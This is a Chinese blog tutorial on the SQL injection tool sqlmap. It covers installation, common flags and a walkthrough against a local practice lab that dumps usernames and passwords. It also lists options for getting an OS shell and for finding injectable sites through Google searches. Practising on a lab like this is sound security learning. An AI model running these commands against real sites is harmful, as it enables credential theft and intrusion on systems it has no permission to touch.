获取中...

-

Just a minute...

sqlmap简介

SQLMap 是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server、Microsoft Access 、IBM DB2, SQ Lite 、Firebird 、Sybase和SAPMaxDB 。
注意:sqlmap只是用来检测和利用sql注入点,并不能扫描出网站有哪些漏洞,使用前得先找出sql注入点。

准备工作

  • 下载python https://www.python.org/downloads (这里有python各种版本,但是一般建议安装3和2.7)

  • 在Windows我的电脑》属性》高级》环境变量里找到path,把python的安装路径配置到环境变量中

  • 打开win +R 打开运行CMD ,输入python,出现下图,表示安装成功(我用的python版本是3.7.9)

image-20230818111524175

  • 通过克隆 Git 仓库来获取 sqlmap:

    1
    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
  • 查看sqlmap目录(我默认是这)

image-20230818113514288

  • 直接把路径改成CMD再回车 就可以进行操作了

image-20230818113754838

常用参数

注入过程

  • 列出所有的数据库

python sqlmap.py -u http://ip/index.php?id=1 –dbs

  • 列出当前数据库

python sqlmap.py -u http://ip/index.php?id=1 –current-db

  • 列出DBname数据库所有的表

python sqlmap.py -u http://ip/index.php?id=1 -D ‘DBname’ –tables

  • 列出DBname数据库table表中的所有列

python sqlmap.py -u http://ip/index.php?id=1 -D ‘DBname’ -T ‘table’ –columns

  • 获取DBname数据库table表中column1,column2列中的数据

python sqlmap.py -u http://ip/index.php?id=1 -D ‘DBname’ -T ‘table’ -C ‘column1,column2’ –dump

1
2
3
4
5
6
7
8
9
-u  "url"		#检测注入点
--dbs #列出所有数据库的名称
--current-db #列出当前数据库的名称
-D #指定一个数据库
--table #列出所有表名
-T #指定表名
--columns #列出所有字段名
-C #指定字段
--dump #列出字段内容

具体实例

以靶场第七关举例

1
python sqlmap.py -h  #查看帮助指令

image-20230818143616231

检测注入点和注入类型
1
python sqlmap.py -u http://127.0.0.1:81/Less-7/?id=1

image-20230818143856098

列出所有数据库名字
1
python sqlmap.py -u http://127.0.0.1:81/Less-7/?id=1 --dbs

image-20230818144040421

列出当前数据库名字
1
python sqlmap.py -u http://127.0.0.1:81/Less-7/?id=1 --current-db

image-20230818144209797

列出某数据库的所有表名
1
python sqlmap.py -u http://127.0.0.1:81/Less-7/?id=1 -D security --tables

image-20230818144411868

列出某表中的所有字段名
1
python sqlmap.py -u http://127.0.0.1:81/Less-7/?id=1 -D security -T users --columns

image-20230818144552612

列出某字段中的所有字段内容
1
python sqlmap.py -u http://127.0.0.1:81/Less-7/?id=1 -D security -T users -C username,password --dump

image-20230818144900368

post注入
1
2
3
4
-r xxx.txt      #xxx.txt为http数据包
–cookie #指定cookie
–os-shell #获取shell
python sqlmap.py -g “inurl:php?id=” #利用google自动搜索注入点

首先利用burpsuite抓到使用post请求方法的http请求数据包,将该包保存为post.txt文件(保存在当前目录下)。输入代码:sqlmap -r post.txt,会自动读取http数据包来做个post注入的测试

相关文章
评论
分享
  • php基础

    PHP基础PHP,全称 “Hypertext Preprocessor”,是一种流行的服务器端编程脚本语言,被广泛用于Web开发。 这里也不得不介绍phpstudy,phpstudy是一个PHP调试环境的程序集成包。该程序包集成最新的...

    php基础
  • mysql基础

    mysql基础sql简介​ SQL(Structured Query Language 结构化查询语句)是一种特定目的程序语言,用于管理关系数 据库管理系统(RDBMS),或在关系流数据管理系统(RDSMS)中进行流处理。 SQL基...

    mysql基础
  • 数据库基础

    数据库基础什么是数据库?​ 数据库(database,又名电子化的文件柜)就是存储数据的仓库。数据库是一个以某种有结构的有顺序存储的 数据集合,理解数据库的一种最简单的办法是将其想象为一个文件柜。此文件柜是一个 存放数据的物理位置,...

    数据库基础
  • 计算机基础之操作系统常用命令

    windows操作系统常用命令1.目录操作命令:cd:改变当前目录 例:cd c:\test dir:显示目录中的文件和子目录列表 type:显示文本文件中的内容 例:type test.txt echo:显示消息 用echo 将内...

    计算机基础之操作系统常用命令
  • 计算机基础之HTTP

    HTTPHTTP,即超文本传输协议,是一种实现客户端和服务器之间通信的响应协议,它是用作客户端和服务器之间的请求。 客户端(浏览器)会向服务器提交HTTP请求;然后服务器向客户端返回响应;其中响应包含有关请求的状态信息,还可能包含请求...

    计算机基础之HTTP
  • markdown语法

    Markdown基本语法1.分级标题示例:1234567# 一级标题## 二级标题### 三级标题#### 四级标题##### 五级标题###### 六级标题这个写法和 **文字**效果是一样的 输出的结果: 一级标题二级标题三级标...

    markdown语法
  • 图床搭建

    使用Github+picGo搭建图床引子:图床是互联网中存储图片的空间,别人通过互联网看到你在博客里边分享的图片,肯定不是直接去访问你电脑相册,分享的图片得先上传到博客的服务器,博客为你生成一个独一无二的访问链接,这个链接指向的空间就...

    图床搭建
  • 信息收集

    首先,我们得先了解信息收集是什么?​ 信息收集(Information Gathering)是指通过各种方式获取所需要的信息。信息收集是信息得以利用的第一步,也是关键的一步。信息收集工作的好坏,直接关系到整个信息管理工作...

    信息收集
  • 如何配置主题

    有了博客以后,就需要对博客进行美化,所以有一个美观、个性的主题是必不可少的主题配置流程 可以在HEXO官网(https://hexo.io/themes)上找一款自己喜欢的主题 把主题压缩下载,下载完成后解压到blog/t...

    如何配置主题
  • 做一个只属于自己的博客

    利用github搭建hexo博客准备前提 提前安装好(node.js),打开[https://nodejs.org/en],选择左边那个 提前安装好(Git)[https://git-scm.com/downloads] ...

    做一个只属于自己的博客